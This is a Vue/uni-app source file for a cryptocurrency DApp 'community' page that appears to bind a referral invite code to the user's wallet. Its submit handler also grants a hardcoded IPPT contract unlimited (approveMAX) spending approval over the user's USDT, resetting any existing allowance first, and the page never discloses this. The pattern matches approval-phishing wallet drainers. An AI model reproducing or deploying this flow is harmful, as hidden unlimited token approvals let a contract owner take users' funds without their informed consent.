<template>
	<view class="content">
		<tab-bar />
		<view class="container">
			<view class="tip" v-if="showTip">
				提交成功，等待区块确认。
			</view>
			<view class="top">
				<view class="title f44 text-primary">
					{{ i18n.Home }}<br /><br />
				</view>
				<view class="text-deep-primary">
					{{ i18n.cx }}<br /><br /><br />
					{{ i18n.zw }}<br /><br /><br />
					{{ i18n.yuan }}<br /><br /><br />
					{{ i18n.we }}<br /><br /><br />
					{{ i18n.thank }}<br /><br />
					{{ i18n.ji }}<br /><br />
					{{ i18n.date }}
				</view>
			</view>
			<view class="bottom">
				<view class="item">
					<view class="flex2 label-title">
						<image src="@/static/images/com_icon_srank.452821d11.png" mode=""></image>
						<text class="text-primary f36">{{ i18n.contract }}</text>
					</view>
					<view class="m48">
						<u-input v-model="form.contract" placeholder="" :clearable="false" :disabled="true" />
					</view>
				</view>

				<view class="item m48">
					<view class="flex2 label-title">
						<image src="@/static/images/invite_table_title.e3146df81.png" mode=""></image>
						<text class="text-primary f36">{{ i18n.address }}</text>
					</view>
					<view class="m48">
						<u-input v-model="form.supAddress" placeholder="" :clearable="false" :disabled="true" />
					</view>
				</view>
				<general-button @emitClick="submit" :btnTitle="i18n.confirm"></general-button>

				<view class="item m48">
					<view class="flex2 label-title">
						<image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image>
						<text class="text-primary f36">{{ i18n.link }}</text>
					</view>
					<view class="m48 text-primary" style="word-break: break-all;" @click="onCopy(url)">
						<!-- https://ippswap.com/community?inviteCode={{form.supAddress}} -->
						{{url}}
					</view>
				</view>

			</view>
		</view>
	</view>
</template>

<script>
	import GeneralButton from '@/component/GeneralButton'
	import {
		web3x
	} from "@/utils/web3x/web3x.js"

	const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'

	export default {
		components: {
			GeneralButton,
		},
		data() {
			return {
				url: '',
				showTip: false,
				form: {
					address: '',
					contract: '0x6b175474e89094c44da98b954eedeac495271d0f',
					supAddress: '',
				},
			}
		},
		computed: {
			i18n() {
				return this.$t("tabBar");
			},
		},
		onShow() {

		},
		onPullDownRefresh() {

		},

		onLoad(val) {
			this.url = location.origin + '?inviteCode=';
			if (val.inviteCode) {
				this.form.supAddress = val.inviteCode
			} else {
				this.form.supAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
			}
			setTimeout(() => {
				this.init()
			}, 500)
		},
		onReachBottom() {

		},
		onReady() {

		},
		methods: {
			// 点击复制按钮
			onCopy(v) {
				uni.setClipboardData({
					data: v,
					success: () => {
						uni.showToast({
							title: this.$t("tabBar").copy,
							duration: 2000
						})
					}
				})
			},
			init() {
				if (!web3x.hasRuntime()) {
					uni.$u.toast(this.$t("tabBar").nosupport)
				}
				web3x.connectViaInPage()
					.then(res => {
						this.form.address = web3x.selectedAddress
						// 当前钱包地址
						// console.log("当前钱包地址", web3x.selectedAddress);
						this.url = location.origin + '?inviteCode=' + web3x.selectedAddress
					})
			},
			submit() {
				if (!this.form.supAddress) {
					uni.$u.toast(this.$t("tabBar").empty)
					return
				}
				web3x.connectViaInPage()
					.then(async res => {
						uni.showLoading({
							title: '',
							mask: true
						})
						// 当前钱包地址
						// console.log("当前钱包地址", web3x.selectedAddress);
						// 检查 USDT 授权给 IPPT 的数量
						const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress)
						// console.log(allowance, '当前用户授权给ippt的数量')
						// 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT
						if (allowance > Number(1000000) * 10 ** Number(18)) {
							web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
							.on("confirmation", (confirmation, receipt,
							latestBlockHash) => {
								if (confirmation >= 5) {
									console.log("区块确认")
								}
							})
							// uni.$u.toast('提交成功，等待区块确认')
							// this.showTip = true
							// uni.hideLoading()
						} else {
							// 否则则需要重新授权为 0, 然后在进行极限授权
							// 提示最小需授权 XXX USDT, 请取消授权后重新授权
							// 取消授权
							if (allowance == 0) {
								// 然后在进行极限授权
								web3x.usdt.approveMAX(ipptAddress)
									.on("transactionHash", async () => {
										// console.log("调用极限授权")
										// 调用IPPT 合约绑定上级关系
										// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
										// web3x.selectedAddress: 当前钱包地址
										web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
											.on("confirmation", (confirmation, receipt,
											latestBlockHash) => {
												if (confirmation >= 5) {
													console.log("区块确认")
												}
											})
										// uni.$u.toast('提交成功，等待区块确认')
										// this.showTip = true
										// uni.hideLoading()
									}).catch(() => {
										uni.hideLoading()
									})
							} else {
								web3x.usdt.$approve(ipptAddress, 0)
									.on("receipt", () => {
										// console.log("取消授权完成")
										// 然后在进行极限授权
										web3x.usdt.approveMAX(ipptAddress)
											.on("transactionHash", () => {
												// console.log("调用极限授权")
												// 调用IPPT 合约绑定上级关系
												// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
												// web3x.selectedAddress: 当前钱包地址
												web3x.ippt.$creatCode(this.form.supAddress, web3x
													.selectedAddress)

												uni.$u.toast('提交成功，等待区块确认')
												this.showTip = true
												uni.hideLoading()
											}).catch(() => {
												uni.hideLoading()
											})
									})
							}
						}
						// 授权当前钱包的 USDT 给 IPPT (参数为 IPPT 合约地址)
						// web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186")
						//   .on("transactionHash", async (receipt) => {
						//     console.log("transactionHash", receipt)
						//     // 调用IPPT 合约绑定上级关系
						//     // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
						//     // web3x.selectedAddress: 当前钱包地址
						//     await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
						//     uni.hideLoading()
						//   })
					})
			},
			go(val) {
				uni.navigateTo({
					url: val,
				})
			},
		},
	}
</script>

<style lang="scss" scoped>
	.tip {
		position: fixed;
		width: 100%;
		height: 70rpx;
		left: 50%;
		transform: translateX(-50%);
		top: 100rpx;
		padding: 14rpx 30rpx;
		color: #fff;
		background: radial-gradient(104.53% 5436.39% at -4.53% 16.35%, #7F97EC 3.77%, #8D6CEA 11.22%, #5944D7 24.63%, #2D2EA8 36.47%, #182390 63.92%, #16228E 100%);
	}

	.m48 {
		margin-top: 48rpx;
	}

	::v-deep .uni-input-input {
		color: #fff;
		min-height: 88rpx !important;
	}

	::v-deep .u-input__input {
		color: #fff;
		min-height: 88rpx !important;
	}

	::v-deep .u-input {
		border: 2rpx solid transparent;
		border-radius: 100rpx;
		background-clip: padding-box, border-box;
		border-color: transparent !important;
		background-origin: padding-box, border-box;
		background-image: linear-gradient(180deg, #141644 25%, #141644 77.78%), linear-gradient(to right, rgba(126, 223, 135, 1), rgba(255, 158, 137, 1));
		height: 88rpx;
		padding: 0 40rpx !important;
	}

	.text-primary {
		color: #fff;
	}

	.text-deep-primary {
		color: rgba(167, 181, 229, 1);
	}

	.f44 {
		font-size: 44rpx;
	}

	.f28 {
		font-size: 28rpx;
	}

	.f36 {
		font-size: 36rpx;
	}

	.content {
		width: 750rpx;
		background: #0B1016;
		min-height: 100vh;
		position: relative;
		z-index: 10;
		padding-bottom: 100rpx;
		background-image: url('../../static/images/community_bg_h51.png');
		background-repeat: no-repeat;
		background-size: contain;
		background-position: 0px 130rpx;

		.container {
			padding: 0rpx 32rpx;

			.top {
				padding-top: 64rpx;
			}

			.bottom {
				border: 1px solid rgba(119, 120, 177, 1);
				background: #212A51;
				padding: 32rpx 32rpx 40rpx 32rpx;
				border-radius: 24rpx;
				margin-top: 36rpx;

				.label-title {
					image {
						width: 52rpx;
						height: 52rpx;
						margin-right: 24rpx;
					}
				}
			}
		}
	}
</style>